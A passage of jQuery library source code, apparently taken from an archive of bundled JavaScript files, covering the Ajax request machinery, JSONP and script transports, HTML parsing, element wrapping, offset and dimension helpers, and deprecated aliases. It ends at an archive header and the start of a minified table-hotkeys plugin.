it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks( "once memory" ), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( completed ) { if ( !responseHeaders ) { responseHeaders = {}; while ( ( match = rheaders.exec( responseHeadersString ) ) ) { responseHeaders[ match[ 1 ].toLowerCase() + " " ] = ( responseHeaders[ match[ 1 ].toLowerCase() + " " ] || [] ) .concat( match[ 2 ] ); } } match = responseHeaders[ key.toLowerCase() + " " ]; } return match == null ? null : match.join( ", " ); }, // Raw string getAllResponseHeaders: function() { return completed ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { if ( completed == null ) { name = requestHeadersNames[ name.toLowerCase() ] = requestHeadersNames[ name.toLowerCase() ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( completed == null ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( completed ) { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } else { // Lazy-add the new callbacks in a way that preserves old ones for ( code in map ) { statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ); // Add protocol if not provided (prefilters might expect it) // Handle falsy url in the settings object (trac-10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || location.href ) + "" ) .replace( rprotocol, location.protocol + "//" ); // Alias method option to type as per ticket trac-12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ]; // A cross-domain request is in order when the origin doesn't match the current origin. if ( s.crossDomain == null ) { urlAnchor = document.createElement( "a" ); // Support: IE <=8 - 11, Edge 12 - 15 // IE throws exception on accessing the href property if url is malformed, // e.g. http://example.com:80x/ try { urlAnchor.href = s.url; // Support: IE <=8 - 11 only // Anchor's host property isn't correctly set when s.url is relative urlAnchor.href = urlAnchor.href; s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== urlAnchor.protocol + "//" + urlAnchor.host; } catch ( e ) { // If there is an error parsing the URL, assume it is crossDomain, // it can be rejected by the transport if it is invalid s.crossDomain = true; } } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( completed ) { return jqXHR; } // We can fire global events as of now if asked to // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (trac-15118) fireGlobals = jQuery.event && s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger( "ajaxStart" ); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on // Remove hash to simplify url manipulation cacheURL = s.url.replace( rhash, "" ); // More options handling for requests with no content if ( !s.hasContent ) { // Remember the hash so we can put it back uncached = s.url.slice( cacheURL.length ); // If data is available and should be processed, append data to url if ( s.data && ( s.processData || typeof s.data === "string" ) ) { cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; // trac-9682: remove data so that it's not used in an eventual retry delete s.data; } // Add or update anti-cache param if needed if ( s.cache === false ) { cacheURL = cacheURL.replace( rantiCache, "$1" ); uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce.guid++ ) + uncached; } // Put hash and anti-cache on the URL that will be requested (gh-1732) s.url = cacheURL + uncached; // Change '%20' to '+' if this is encoded form body content (gh-2658) } else if ( s.data && s.processData && ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { s.data = s.data.replace( r20, "+" ); } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? s.accepts[ s.dataTypes[ 0 ] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { // Abort if not done already and return return jqXHR.abort(); } // Aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds completeDeferred.add( s.complete ); jqXHR.done( s.success ); jqXHR.fail( s.error ); // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // If request was aborted inside ajaxSend, stop there if ( completed ) { return jqXHR; } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = window.setTimeout( function() { jqXHR.abort( "timeout" ); }, s.timeout ); } try { completed = false; transport.send( requestHeaders, done ); } catch ( e ) { // Rethrow post-completion exceptions if ( completed ) { throw e; } // Propagate others as results done( -1, e ); } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Ignore repeat invocations if ( completed ) { return; } completed = true; // Clear timeout if it exists if ( timeoutTimer ) { window.clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Use a noop converter for missing script but not if jsonp if ( !isSuccess && jQuery.inArray( "script", s.dataTypes ) > -1 && jQuery.inArray( "json", s.dataTypes ) < 0 ) { s.converters[ "text script" ] = function() {}; } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader( "Last-Modified" ); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader( "etag" ); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // Extract error from statusText and normalize for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger( "ajaxStop" ); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } } ); jQuery.each( [ "get", "post" ], function( _i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // Shift arguments if data argument was omitted if ( isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } // The url can be an options object (which then must have .url) return jQuery.ajax( jQuery.extend( { url: url, type: method, dataType: type, data: data, success: callback }, jQuery.isPlainObject( url ) && url ) ); }; } ); jQuery.ajaxPrefilter( function( s ) { var i; for ( i in s.headers ) { if ( i.toLowerCase() === "content-type" ) { s.contentType = s.headers[ i ] || ""; } } } ); jQuery._evalUrl = function( url, options, doc ) { return jQuery.ajax( { url: url, // Make this explicit, since user can override this through ajaxSetup (trac-11264) type: "GET", dataType: "script", cache: true, async: false, global: false, // Only evaluate the response if it is successful (gh-4126) // dataFilter is not invoked for failure responses, so using it instead // of the default converter is kludgy but it works. converters: { "text script": function() {} }, dataFilter: function( response ) { jQuery.globalEval( response, options, doc ); } } ); }; jQuery.fn.extend( { wrapAll: function( html ) { var wrap; if ( this[ 0 ] ) { if ( isFunction( html ) ) { html = html.call( this[ 0 ] ); } // The elements to wrap the target around wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); if ( this[ 0 ].parentNode ) { wrap.insertBefore( this[ 0 ] ); } wrap.map( function() { var elem = this; while ( elem.firstElementChild ) { elem = elem.firstElementChild; } return elem; } ).append( this ); } return this; }, wrapInner: function( html ) { if ( isFunction( html ) ) { return this.each( function( i ) { jQuery( this ).wrapInner( html.call( this, i ) ); } ); } return this.each( function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } } ); }, wrap: function( html ) { var htmlIsFunction = isFunction( html ); return this.each( function( i ) { jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html ); } ); }, unwrap: function( selector ) { this.parent( selector ).not( "body" ).each( function() { jQuery( this ).replaceWith( this.childNodes ); } ); return this; } } ); jQuery.expr.pseudos.hidden = function( elem ) { return !jQuery.expr.pseudos.visible( elem ); }; jQuery.expr.pseudos.visible = function( elem ) { return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); }; jQuery.ajaxSettings.xhr = function() { try { return new window.XMLHttpRequest(); } catch ( e ) {} }; var xhrSuccessStatus = { // File protocol always yields status code 0, assume 200 0: 200, // Support: IE <=9 only // trac-1450: sometimes IE returns 1223 when it should be 204 1223: 204 }, xhrSupported = jQuery.ajaxSettings.xhr(); support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); support.ajax = xhrSupported = !!xhrSupported; jQuery.ajaxTransport( function( options ) { var callback, errorCallback; // Cross domain only allowed if supported through XMLHttpRequest if ( support.cors || xhrSupported && !options.crossDomain ) { return { send: function( headers, complete ) { var i, xhr = options.xhr(); xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { headers[ "X-Requested-With" ] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } // Callback callback = function( type ) { return function() { if ( callback ) { callback = errorCallback = xhr.onload = xhr.onerror = xhr.onabort = xhr.ontimeout = xhr.onreadystatechange = null; if ( type === "abort" ) { xhr.abort(); } else if ( type === "error" ) { // Support: IE <=9 only // On a manual native abort, IE9 throws // errors on any property access that is not readyState if ( typeof xhr.status !== "number" ) { complete( 0, "error" ); } else { complete( // File: protocol always yields status 0; see trac-8605, trac-14207 xhr.status, xhr.statusText ); } } else { complete( xhrSuccessStatus[ xhr.status ] || xhr.status, xhr.statusText, // Support: IE <=9 only // IE9 has no XHR2 but throws on binary (trac-11426) // For XHR2 non-text, let the caller handle it (gh-2498) ( xhr.responseType || "text" ) !== "text" || typeof xhr.responseText !== "string" ? { binary: xhr.response } : { text: xhr.responseText }, xhr.getAllResponseHeaders() ); } } }; }; // Listen to events xhr.onload = callback(); errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" ); // Support: IE 9 only // Use onreadystatechange to replace onabort // to handle uncaught aborts if ( xhr.onabort !== undefined ) { xhr.onabort = errorCallback; } else { xhr.onreadystatechange = function() { // Check readyState before timeout as it changes if ( xhr.readyState === 4 ) { // Allow onerror to be called first, // but that will not handle a native abort // Also, save errorCallback to a variable // as xhr.onerror cannot be accessed window.setTimeout( function() { if ( callback ) { errorCallback(); } } ); } }; } // Create the abort callback callback = callback( "abort" ); try { // Do send the request (this may raise an exception) xhr.send( options.hasContent && options.data || null ); } catch ( e ) { // trac-14683: Only rethrow if this hasn't been notified as an error yet if ( callback ) { throw e; } } }, abort: function() { if ( callback ) { callback(); } } }; } } ); // Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) jQuery.ajaxPrefilter( function( s ) { if ( s.crossDomain ) { s.contents.script = false; } } ); // Install script dataType jQuery.ajaxSetup( { accepts: { script: "text/javascript, application/javascript, " + "application/ecmascript, application/x-ecmascript" }, contents: { script: /\b(?:java|ecma)script\b/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } } ); // Handle cache's special case and crossDomain jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; } } ); // Bind script tag hack transport jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain or forced-by-attrs requests if ( s.crossDomain || s.scriptAttrs ) { var script, callback; return { send: function( _, complete ) { script = jQuery( "<script>" ) .attr( s.scriptAttrs || {} ) .prop( { charset: s.scriptCharset, src: s.url } ) .on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup( { jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce.guid++ ) ); this[ callback ] = true; return callback; } } ); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters[ "script json" ] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // Force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always( function() { // If previous value didn't exist - remove it if ( overwritten === undefined ) { jQuery( window ).removeProp( callbackName ); // Otherwise restore preexisting value } else { window[ callbackName ] = overwritten; } // Save back as free if ( s[ callbackName ] ) { // Make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // Save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; } ); // Delegate to script return "script"; } } ); // Support: Safari 8 only // In Safari 8 documents created via document.implementation.createHTMLDocument // collapse sibling forms: the second one becomes a child of the first one. // Because of that, this security measure has to be disabled in Safari 8. // https://bugs.webkit.org/show_bug.cgi?id=137337 support.createHTMLDocument = ( function() { var body = document.implementation.createHTMLDocument( "" ).body; body.innerHTML = "<form></form><form></form>"; return body.childNodes.length === 2; } )(); // Argument "data" should be string of html // context (optional): If specified, the fragment will be created in this context, // defaults to document // keepScripts (optional): If true, will include scripts passed in the html string jQuery.parseHTML = function( data, context, keepScripts ) { if ( typeof data !== "string" ) { return []; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } var base, parsed, scripts; if ( !context ) { // Stop scripts or inline event handlers from being executed immediately // by using document.implementation if ( support.createHTMLDocument ) { context = document.implementation.createHTMLDocument( "" ); // Set the base href for the created document // so any parsed elements with URLs // are based on the document's URL (gh-2965) base = context.createElement( "base" ); base.href = document.location.href; context.head.appendChild( base ); } else { context = document; } } parsed = rsingleTag.exec( data ); scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[ 1 ] ) ]; } parsed = buildFragment( [ data ], context, scripts ); if ( scripts && scripts.length ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }; /** * Load a url into a page */ jQuery.fn.load = function( url, params, callback ) { var selector, type, response, self = this, off = url.indexOf( " " ); if ( off > -1 ) { selector = stripAndCollapse( url.slice( off ) ); url = url.slice( 0, off ); } // If it's a function if ( isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax( { url: url, // If "type" variable is undefined, then "GET" method will be used. // Make value of this field explicit since // user can override it through ajaxSetup method type: type || "GET", dataType: "html", data: params } ).done( function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); // If the request succeeds, this function gets "data", "status", "jqXHR" // but they are ignored because response was set above. // If it fails, this function gets "jqXHR", "status", "error" } ).always( callback && function( jqXHR, status ) { self.each( function() { callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); } ); } ); } return this; }; jQuery.expr.pseudos.animated = function( elem ) { return jQuery.grep( jQuery.timers, function( fn ) { return elem === fn.elem; } ).length; }; jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // Set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; // Need to be able to calculate position if either // top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( isFunction( options ) ) { // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend( { // offset() relates an element's border box to the document origin offset: function( options ) { // Preserve chaining for setter if ( arguments.length ) { return options === undefined ? this : this.each( function( i ) { jQuery.offset.setOffset( this, options, i ); } ); } var rect, win, elem = this[ 0 ]; if ( !elem ) { return; } // Return zeros for disconnected and hidden (display: none) elements (gh-2310) // Support: IE <=11 only // Running getBoundingClientRect on a // disconnected node in IE throws an error if ( !elem.getClientRects().length ) { return { top: 0, left: 0 }; } // Get document-relative position by adding viewport scroll to viewport-relative gBCR rect = elem.getBoundingClientRect(); win = elem.ownerDocument.defaultView; return { top: rect.top + win.pageYOffset, left: rect.left + win.pageXOffset }; }, // position() relates an element's margin box to its offset parent's padding box // This corresponds to the behavior of CSS absolute positioning position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, doc, elem = this[ 0 ], parentOffset = { top: 0, left: 0 }; // position:fixed elements are offset from the viewport, which itself always has zero offset if ( jQuery.css( elem, "position" ) === "fixed" ) { // Assume position:fixed implies availability of getBoundingClientRect offset = elem.getBoundingClientRect(); } else { offset = this.offset(); // Account for the *real* offset parent, which can be the document or its root element // when a statically positioned element is identified doc = elem.ownerDocument; offsetParent = elem.offsetParent || doc.documentElement; while ( offsetParent && ( offsetParent === doc.body || offsetParent === doc.documentElement ) && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.parentNode; } if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) { // Incorporate borders into its offset, since they are outside its content origin parentOffset = jQuery( offsetParent ).offset(); parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true ); parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true ); } } // Subtract parent offsets and element margins return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) }; }, // This method will return documentElement in the following cases: // 1) For the element inside the iframe without offsetParent, this method will return // documentElement of the parent window // 2) For the hidden or detached element // 3) For body or html element, i.e. in case of the html node - it will return itself // // but those exceptions were never presented as a real life use-cases // and might be considered as more preferable results. // // This logic, however, is not guaranteed and can change at any point in the future offsetParent: function() { return this.map( function() { var offsetParent = this.offsetParent; while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.offsetParent; } return offsetParent || documentElement; } ); } } ); // Create scrollLeft and scrollTop methods jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { var top = "pageYOffset" === prop; jQuery.fn[ method ] = function( val ) { return access( this, function( elem, method, val ) { // Coalesce documents and windows var win; if ( isWindow( elem ) ) { win = elem; } else if ( elem.nodeType === 9 ) { win = elem.defaultView; } if ( val === undefined ) { return win ? win[ prop ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : win.pageXOffset, top ? val : win.pageYOffset ); } else { elem[ method ] = val; } }, method, val, arguments.length ); }; } ); // Support: Safari <=7 - 9.1, Chrome <=37 - 49 // Add the top/left cssHooks using jQuery.fn.position // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347 // getComputedStyle returns percent when specified for top/left/bottom/right; // rather than make the css module depend on the offset module, just check for it here jQuery.each( [ "top", "left" ], function( _i, prop ) { jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // If curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } ); } ); // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // Margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return access( this, function( elem, type, value ) { var doc; if ( isWindow( elem ) ) { // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729) return funcName.indexOf( "outer" ) === 0 ? elem[ "inner" + name ] : elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], // whichever is greatest return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable ); }; } ); } ); jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( _i, type ) { jQuery.fn[ type ] = function( fn ) { return this.on( type, fn ); }; } ); jQuery.fn.extend( { bind: function( types, data, fn ) { return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { // ( namespace ) or ( selector, types [, fn] ) return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); }, hover: function( fnOver, fnOut ) { return this .on( "mouseenter", fnOver ) .on( "mouseleave", fnOut || fnOver ); } } ); jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup contextmenu" ).split( " " ), function( _i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; } ); // Support: Android <=4.0 only // Make sure we trim BOM and NBSP // Require that the "whitespace run" starts from a non-whitespace // to avoid O(N^2) behavior when the engine would try matching "\s+$" at each space position. var rtrim = /^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g; // Bind a function to a context, optionally partially applying any // arguments. // jQuery.proxy is deprecated to promote standards (specifically Function#bind) // However, it is not slated for removal any time soon jQuery.proxy = function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !isFunction( fn ) ) { return undefined; } // Simulated bind args = slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }; jQuery.holdReady = function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }; jQuery.isArray = Array.isArray; jQuery.parseJSON = JSON.parse; jQuery.nodeName = nodeName; jQuery.isFunction = isFunction; jQuery.isWindow = isWindow; jQuery.camelCase = camelCase; jQuery.type = toType; jQuery.now = Date.now; jQuery.isNumeric = function( obj ) { // As of jQuery 3.0, isNumeric is limited to // strings and numbers (primitives or objects) // that can be coerced to finite numbers (gh-2662) var type = jQuery.type( obj ); return ( type === "number" || type === "string" ) && // parseFloat NaNs numeric-cast false positives ("") // ...but misinterprets leading-number strings, particularly hex literals ("0x...") // subtraction forces infinities to NaN !isNaN( obj - parseFloat( obj ) ); }; jQuery.trim = function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "$1" ); }; // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. // Note that for maximum portability, libraries that are not jQuery should // declare themselves as anonymous modules, and avoid setting a global if an // AMD loader is present. jQuery is a special case. For more information, see // https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon if ( typeof define === "function" && define.amd ) { define( "jquery", [], function() { return jQuery; } ); } var // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$; jQuery.noConflict = function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }; // Expose jQuery and $ identifiers, even in AMD // (trac-7102#comment:10, https://github.com/jquery/jquery/pull/557) // and CommonJS for browser emulators (trac-13566) if ( typeof noGlobal === "undefined" ) { window.jQuery = window.$ = jQuery; } return jQuery; } ); jQuery.noConflict(); jquery/jquery.table-hotkeys.min.js 0000644 00000004367 15111757754 0013323 0 ustar 00 (function(a){a.fn.filter_visible=function(c){c=c||3;var b=function(){var e=a(this),d;for(d=0;d<c-1;++d){if(!e.is(":visible")){return false}e=e.parent()}return true};return this.filter(b)};a.table_hotkeys=function(p,q,b){b=a.extend(a.table_hotkeys.defaults,b);var 